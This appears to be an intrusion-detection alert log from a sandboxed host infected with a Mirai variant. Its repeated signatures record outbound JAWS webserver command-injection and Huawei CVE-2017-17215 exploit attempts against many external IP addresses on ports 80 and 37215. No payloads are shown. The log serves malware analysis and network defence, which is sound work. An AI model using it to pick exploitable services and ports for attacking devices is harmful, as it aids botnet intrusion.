                                                          2024-12-03T23:17:37.178885+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2333440212.185.243.2980TCP
                                                          2024-12-03T23:17:37.178885+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2333440212.185.243.2980TCP
                                                          2024-12-03T23:17:37.178987+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2349706209.235.15.4080TCP
                                                          2024-12-03T23:17:37.178987+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2349706209.235.15.4080TCP
                                                          2024-12-03T23:17:37.185033+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2350514181.77.83.1880TCP
                                                          2024-12-03T23:17:37.185033+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2350514181.77.83.1880TCP
                                                          2024-12-03T23:17:37.226694+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2355440140.171.232.17180TCP
                                                          2024-12-03T23:17:37.226694+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2355440140.171.232.17180TCP
                                                          2024-12-03T23:17:37.294642+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2338010140.214.43.23480TCP
                                                          2024-12-03T23:17:37.294642+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2338010140.214.43.23480TCP
                                                          2024-12-03T23:17:37.310256+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2341334206.132.219.15580TCP
                                                          2024-12-03T23:17:37.310256+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2341334206.132.219.15580TCP
                                                          2024-12-03T23:17:37.319554+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2336218104.237.87.23380TCP
                                                          2024-12-03T23:17:37.319554+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2336218104.237.87.23380TCP
                                                          2024-12-03T23:17:37.319615+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2350910126.170.127.8380TCP
                                                          2024-12-03T23:17:37.319615+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2350910126.170.127.8380TCP
                                                          2024-12-03T23:17:37.319803+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235790482.161.146.21980TCP
                                                          2024-12-03T23:17:37.319803+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235790482.161.146.21980TCP
                                                          2024-12-03T23:17:37.325826+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2358474178.111.248.7480TCP
                                                          2024-12-03T23:17:37.325826+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2358474178.111.248.7480TCP
                                                          2024-12-03T23:17:37.335175+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.23438925.54.47.9880TCP
                                                          2024-12-03T23:17:37.335175+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.23438925.54.47.9880TCP
                                                          2024-12-03T23:17:37.335329+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234011046.179.185.7980TCP
                                                          2024-12-03T23:17:37.335329+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234011046.179.185.7980TCP
                                                          2024-12-03T23:17:37.350646+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2341238158.185.230.16480TCP
                                                          2024-12-03T23:17:37.350646+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2341238158.185.230.16480TCP
                                                          2024-12-03T23:17:37.350823+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2355326118.24.96.10380TCP
                                                          2024-12-03T23:17:37.350823+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2355326118.24.96.10380TCP
                                                          2024-12-03T23:17:37.351252+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2334034111.183.112.12880TCP
                                                          2024-12-03T23:17:37.351252+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2334034111.183.112.12880TCP
                                                          2024-12-03T23:17:37.779110+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2343502197.66.120.24337215TCP
                                                          2024-12-03T23:17:37.819599+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235885641.17.94.16737215TCP
                                                          2024-12-03T23:17:38.060102+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2360916197.221.55.22437215TCP
                                                          2024-12-03T23:17:38.388181+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233826436.139.199.20780TCP
                                                          2024-12-03T23:17:38.388181+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233826436.139.199.20780TCP
                                                          2024-12-03T23:17:38.419519+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2347036201.205.127.24380TCP
                                                          2024-12-03T23:17:38.419519+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2347036201.205.127.24380TCP
                                                          2024-12-03T23:17:38.444544+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2348110101.194.178.3880TCP
                                                          2024-12-03T23:17:38.444544+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2348110101.194.178.3880TCP
                                                          2024-12-03T23:17:38.444898+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2350560158.208.139.8280TCP
                                                          2024-12-03T23:17:38.444898+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2350560158.208.139.8280TCP
                                                          2024-12-03T23:17:38.466779+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2344754129.219.241.17780TCP
                                                          2024-12-03T23:17:38.466779+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2344754129.219.241.17780TCP
                                                          2024-12-03T23:17:38.779201+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2351754156.42.14.13337215TCP
                                                          2024-12-03T23:17:38.779214+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234234641.113.69.9137215TCP
                                                          2024-12-03T23:17:38.779338+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2348906197.231.171.9737215TCP
                                                          2024-12-03T23:17:38.779497+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2356488156.237.223.14937215TCP
                                                          2024-12-03T23:17:38.779614+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2339140197.190.201.22537215TCP
                                                          2024-12-03T23:17:38.779889+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235671241.106.24.16537215TCP
                                                          2024-12-03T23:17:38.780012+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2334632197.173.136.21937215TCP
                                                          2024-12-03T23:17:38.794466+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234585041.41.47.18637215TCP
                                                          2024-12-03T23:17:38.794742+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234561841.170.118.15137215TCP
                                                          2024-12-03T23:17:38.795115+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344066197.43.176.8937215TCP
                                                          2024-12-03T23:17:38.796413+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2351886156.9.171.21737215TCP
                                                          2024-12-03T23:17:38.798168+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235569841.40.188.12137215TCP
                                                          2024-12-03T23:17:38.799328+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2345268197.69.237.21637215TCP
                                                          2024-12-03T23:17:38.803703+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233603841.199.127.9437215TCP
                                                          2024-12-03T23:17:38.803867+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234871241.181.197.7637215TCP
                                                          2024-12-03T23:17:38.803996+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2356018156.80.123.22537215TCP
                                                          2024-12-03T23:17:38.804160+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2343628156.46.137.13837215TCP
                                                          2024-12-03T23:17:38.804295+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2346164156.40.69.24837215TCP
                                                          2024-12-03T23:17:38.804466+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2354348197.168.192.6737215TCP
                                                          2024-12-03T23:17:38.804627+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234745641.221.147.2037215TCP
                                                          2024-12-03T23:17:38.810087+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2351692197.212.213.10637215TCP
                                                          2024-12-03T23:17:38.810151+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234214241.131.243.1337215TCP
                                                          2024-12-03T23:17:38.810511+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2345734156.167.163.7737215TCP
                                                          2024-12-03T23:17:38.810697+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2353410156.57.209.21937215TCP
                                                          2024-12-03T23:17:38.823953+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2335886197.155.156.15737215TCP
                                                          2024-12-03T23:17:38.823955+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2357042197.23.41.14537215TCP
                                                          2024-12-03T23:17:38.828419+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2337558197.44.132.4737215TCP
                                                          2024-12-03T23:17:38.828453+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235657241.73.141.15937215TCP
                                                          2024-12-03T23:17:38.835051+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2360632156.89.23.25037215TCP
                                                          2024-12-03T23:17:38.847621+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2360200156.181.214.14837215TCP
                                                          2024-12-03T23:17:38.847798+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2350526156.95.165.20637215TCP
                                                          2024-12-03T23:17:38.848073+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2353642156.214.10.14937215TCP
                                                          2024-12-03T23:17:38.855591+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234134441.229.166.3137215TCP
                                                          2024-12-03T23:17:38.855592+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235081241.191.29.18137215TCP
                                                          2024-12-03T23:17:38.855720+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233331441.6.139.17937215TCP
                                                          2024-12-03T23:17:38.856015+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2351602197.248.14.15337215TCP
                                                          2024-12-03T23:17:38.856015+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234966841.75.90.23437215TCP
                                                          2024-12-03T23:17:38.856025+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2348610197.201.114.9037215TCP
                                                          2024-12-03T23:17:39.028906+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344068156.107.109.16837215TCP
                                                          2024-12-03T23:17:39.044876+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2336106197.91.196.22637215TCP
                                                          2024-12-03T23:17:39.053768+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2347906197.176.86.5837215TCP
                                                          2024-12-03T23:17:39.053845+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344040197.112.65.15537215TCP
                                                          2024-12-03T23:17:39.060234+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344914156.197.13.12437215TCP
                                                          2024-12-03T23:17:39.075720+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2359996156.88.41.16937215TCP
                                                          2024-12-03T23:17:39.075920+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2342056156.232.128.6137215TCP
                                                          2024-12-03T23:17:39.085008+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235957841.80.243.1537215TCP
                                                          2024-12-03T23:17:39.085138+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235707441.79.213.13437215TCP
                                                          2024-12-03T23:17:39.085207+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2356736156.250.94.15437215TCP
                                                          2024-12-03T23:17:39.100616+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2340696197.21.76.17037215TCP
                                                          2024-12-03T23:17:39.122803+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235821693.82.218.15480TCP
                                                          2024-12-03T23:17:39.122803+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235821693.82.218.15480TCP
                                                          2024-12-03T23:17:39.147757+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2354828192.50.31.15380TCP
                                                          2024-12-03T23:17:39.147757+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2354828192.50.31.15380TCP
                                                          2024-12-03T23:17:39.169795+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2357216181.105.47.22180TCP
                                                          2024-12-03T23:17:39.169795+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2357216181.105.47.22180TCP
                                                          2024-12-03T23:17:39.169797+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2354008178.63.71.8480TCP
                                                          2024-12-03T23:17:39.169797+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2354008178.63.71.8480TCP
                                                          2024-12-03T23:17:39.169897+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2339030101.35.59.11480TCP
                                                          2024-12-03T23:17:39.169897+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2339030101.35.59.11480TCP
                                                          2024-12-03T23:17:39.170010+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2339538190.107.233.20080TCP
                                                          2024-12-03T23:17:39.170010+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2339538190.107.233.20080TCP
                                                          2024-12-03T23:17:39.170353+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2346242164.239.150.20880TCP
                                                          2024-12-03T23:17:39.170353+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2346242164.239.150.20880TCP
                                                          2024-12-03T23:17:39.225588+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2343060216.126.32.6480TCP
                                                          2024-12-03T23:17:39.225588+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2343060216.126.32.6480TCP
                                                          2024-12-03T23:17:39.324009+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233320484.234.97.10080TCP
                                                          2024-12-03T23:17:39.324009+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233320484.234.97.10080TCP
                                                          2024-12-03T23:17:40.294679+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2343084153.12.49.14980TCP
                                                          2024-12-03T23:17:40.294679+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2343084153.12.49.14980TCP
                                                          2024-12-03T23:17:40.294917+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2359888156.51.242.9637215TCP
                                                          2024-12-03T23:17:40.310644+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2335054156.252.30.19437215TCP
                                                          2024-12-03T23:17:40.366444+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233511641.77.32.23337215TCP
                                                          2024-12-03T23:17:40.372740+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2333576210.33.62.6280TCP
                                                          2024-12-03T23:17:40.372740+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2333576210.33.62.6280TCP
                                                          2024-12-03T23:17:40.373134+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2354542191.50.71.22480TCP
                                                          2024-12-03T23:17:40.373134+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2354542191.50.71.22480TCP
                                                          2024-12-03T23:17:40.403967+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2343518122.83.81.3280TCP
                                                          2024-12-03T23:17:40.403967+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2343518122.83.81.3280TCP
                                                          2024-12-03T23:17:40.404124+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234509247.0.213.20580TCP
                                                          2024-12-03T23:17:40.404124+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234509247.0.213.20580TCP
                                                          2024-12-03T23:17:40.419540+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2337042158.73.164.12780TCP
                                                          2024-12-03T23:17:40.419540+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2337042158.73.164.12780TCP
                                                          2024-12-03T23:17:40.419657+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234554872.158.162.25480TCP
                                                          2024-12-03T23:17:40.419657+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234554872.158.162.25480TCP
                                                          2024-12-03T23:17:40.428860+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234484694.117.229.13980TCP
                                                          2024-12-03T23:17:40.428860+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234484694.117.229.13980TCP
                                                          2024-12-03T23:17:40.439742+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2360308109.207.17.8480TCP
                                                          2024-12-03T23:17:40.439742+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2360308109.207.17.8480TCP
                                                          2024-12-03T23:17:40.444160+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234079495.203.89.19080TCP
                                                          2024-12-03T23:17:40.444160+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234079495.203.89.19080TCP
                                                          2024-12-03T23:17:40.966736+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2338428197.181.246.6637215TCP
                                                          2024-12-03T23:17:40.975665+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2354466197.193.114.12937215TCP
                                                          2024-12-03T23:17:40.976001+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2357278197.199.140.22137215TCP
                                                          2024-12-03T23:17:41.263615+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2340626109.228.229.3980TCP
                                                          2024-12-03T23:17:41.263615+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2340626109.228.229.3980TCP
                                                          2024-12-03T23:17:41.263723+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234840693.198.207.10080TCP
                                                          2024-12-03T23:17:41.263723+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234840693.198.207.10080TCP
                                                          2024-12-03T23:17:41.279252+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234693696.222.109.3680TCP
                                                          2024-12-03T23:17:41.279252+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234693696.222.109.3680TCP
                                                          2024-12-03T23:17:41.294698+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233962664.123.102.12780TCP
                                                          2024-12-03T23:17:41.294698+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233962664.123.102.12780TCP
                                                          2024-12-03T23:17:41.294894+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2355460104.148.123.4480TCP
                                                          2024-12-03T23:17:41.294894+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2355460104.148.123.4480TCP
                                                          2024-12-03T23:17:41.303838+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235401812.162.227.6980TCP
                                                          2024-12-03T23:17:41.303838+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235401812.162.227.6980TCP
                                                          2024-12-03T23:17:41.350706+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2341326197.62.186.13237215TCP
                                                          2024-12-03T23:17:41.350864+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2332966153.221.39.15580TCP
                                                          2024-12-03T23:17:41.350864+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2332966153.221.39.15580TCP
                                                          2024-12-03T23:17:41.351055+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2333968222.224.60.12680TCP
                                                          2024-12-03T23:17:41.351055+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2333968222.224.60.12680TCP
                                                          2024-12-03T23:17:41.366320+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233679041.218.188.11337215TCP
                                                          2024-12-03T23:17:41.388469+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2350722197.228.155.15337215TCP
                                                          2024-12-03T23:17:41.397520+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2334608197.209.120.4737215TCP
                                                          2024-12-03T23:17:41.397684+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2358796197.113.114.5937215TCP
                                                          2024-12-03T23:17:41.466349+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233705641.247.59.16337215TCP
                                                          2024-12-03T23:17:41.497748+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2360866156.0.159.22537215TCP
                                                          2024-12-03T23:17:41.497757+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235445641.198.94.13537215TCP
                                                          2024-12-03T23:17:41.513252+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234257275.157.11.19280TCP
                                                          2024-12-03T23:17:41.513252+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234257275.157.11.19280TCP
                                                          2024-12-03T23:17:41.522653+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2335562156.100.20.7337215TCP
                                                          2024-12-03T23:17:41.528867+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235127498.134.159.6780TCP
                                                          2024-12-03T23:17:41.528867+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235127498.134.159.6780TCP
                                                          2024-12-03T23:17:41.544538+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235042499.237.27.18980TCP
                                                          2024-12-03T23:17:41.544538+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235042499.237.27.18980TCP
                                                          2024-12-03T23:17:41.544625+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235974070.10.76.9380TCP
                                                          2024-12-03T23:17:41.544625+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235974070.10.76.9380TCP
                                                          2024-12-03T23:17:41.553753+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2345076108.177.60.10180TCP
                                                          2024-12-03T23:17:41.553753+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2345076108.177.60.10180TCP
                                                          2024-12-03T23:17:41.560774+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2353618145.172.17.25580TCP
                                                          2024-12-03T23:17:41.560774+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2353618145.172.17.25580TCP
                                                          2024-12-03T23:17:41.591493+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2357186210.170.129.19980TCP
                                                          2024-12-03T23:17:41.591493+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2357186210.170.129.19980TCP
                                                          2024-12-03T23:17:42.123028+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233981441.76.229.23837215TCP
                                                          2024-12-03T23:17:42.123092+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235698041.163.182.337215TCP
                                                          2024-12-03T23:17:42.123284+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2345104197.72.117.5537215TCP
                                                          2024-12-03T23:17:42.123492+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233917641.79.244.11237215TCP
                                                          2024-12-03T23:17:42.123498+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233952041.172.77.1437215TCP
                                                          2024-12-03T23:17:42.123603+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2337200156.165.32.5137215TCP
                                                          2024-12-03T23:17:42.123896+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233695641.124.249.5737215TCP
                                                          2024-12-03T23:17:42.123996+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2335118197.189.128.7137215TCP
                                                          2024-12-03T23:17:42.124083+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234411041.149.142.23437215TCP
                                                          2024-12-03T23:17:42.124297+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2354240197.180.205.837215TCP
                                                          2024-12-03T23:17:42.144160+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2358128156.24.8.9837215TCP
                                                          2024-12-03T23:17:42.144292+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235571241.66.91.637215TCP
                                                          2024-12-03T23:17:42.144477+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2337300197.107.205.1237215TCP
                                                          2024-12-03T23:17:42.144660+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2357864197.6.241.11137215TCP
